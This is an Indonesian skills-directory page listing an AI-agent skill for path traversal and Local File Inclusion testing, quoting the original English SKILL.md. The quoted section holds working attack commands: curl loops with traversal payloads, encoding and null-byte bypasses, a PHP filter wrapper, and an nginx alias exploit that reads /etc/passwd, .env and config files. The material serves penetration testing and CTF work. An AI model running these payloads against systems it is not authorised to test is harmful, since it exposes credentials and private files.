Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14069

lfi

Fungsinya

Skill ini memandu agent menguji apakah situs membiarkan pengguna membaca file di luar folder yang seharusnya. Skill ini untuk penguji keamanan yang memeriksa fitur unduhan dan tampilan file.

Kapan dipakai

  • βœ“Saat sebuah halaman menerima parameter file atau path dan Anda ingin menguji apakah bisa membaca file lain.
  • βœ“Saat sebuah pemindaian menunjuk fitur template, unduhan, atau file statis.
  • βœ“Saat hasil pengintaian menyebut parameter file yang sebaiknya diuji lebih dulu.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah parameter file di halaman unduhan saya bisa dipakai untuk membaca file di luar folder?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mencoba trik path seperti langkah ke folder induk dan bentuk pelewatan filter, lalu memeriksa apakah respons menampilkan file yang seharusnya tidak bisa dijangkau.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Path Traversal / Local File Inclusion (LFI)

Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.

Precondition β€” Use Recon Handoff First

If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=, /<endpoint>?name=), START with the parameter named in the handoff. Do NOT run gobuster/ffuf/dirb against the host before testing the handoff parameter β€” recon already enumerated the surface. The Detection block below is for engagements where NO recon handoff exists.

The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):

  1. plain traversal β€” ../../../etc/passwd
  2. stripped-traversal bypass β€” ....//....//....//etc/passwd
  3. PHP wrapper β€” php://filter/convert.base64-encode/resource=<file>

Only if all three return baseline-matched response (per the Β§"Response Body Verification" check) should you consider broader endpoint discovery β€” and that discovery belongs in exploit/PIVOT.md first, documenting (a) what payload classes you tried against the handoff parameter, (b) why the handoff vector is exhausted, (c) the new surface you are moving to.

Detection

# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
  resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
  [ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done

# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'

# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'

# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'

# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'

# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'

Server-Level Path Traversal (Nginx Alias Off-by-Slash)

Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing β€” this probe is one curl per prefix, near-zero cost, high signal.

Fingerprint (any of these is enough to test):

  • Server: nginx response header
  • A path /prefix (no trailing slash) returns 301 redirecting to /prefix/ β€” canonical signature of location /prefix (no slash) with a separate location /prefix/ (with slash)
  • Static assets served under a path prefix (/static, /assets, /images, /admin, /files, /uploads)

Exploit pattern β€” append ../ DIRECTLY after the prefix (no slash between):

# For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe):
for prefix in admin static assets images files uploads docs api; do
  STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
  SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
  echo "${prefix}: status=${STATUS} size=${SIZE}"
  grep -c 'root:' /tmp/alias_${prefix}.txt
done

# Then walk parents to find sensitive files near the alias root:
PREFIX="admin"   # the winning prefix from above
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
  curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done

Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo β†’ nginx removes /prefix β†’ leaves ../foo β†’ resolves against /target/ β†’ /target/../foo = parent-directory access.

Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this β€” nginx appends the FULL request URI to the root path, so /static../etc/passwd yie

Pertanyaan umum

Apakah skill ini menjalankan pemindaian luas lebih dulu?

Tidak. Skill ini meminta agar parameter yang disebut dalam pengintaian diuji dulu sebelum pemindaian direktori yang luas.

Apakah skill ini mencakup wrapper PHP?

Ya, skill ini mencakup wrapper PHP, yang di beberapa pengaturan bisa membaca atau menjalankan file.

Apa yang dianggap pengujian berhasil?

Skill ini membandingkan respons dengan baseline untuk memastikan bahwa file nyata benar-benar dikembalikan.

Detail

Deskripsi asli dari pembuat

Path traversal and Local File Inclusion (LFI) β€” arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14069
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa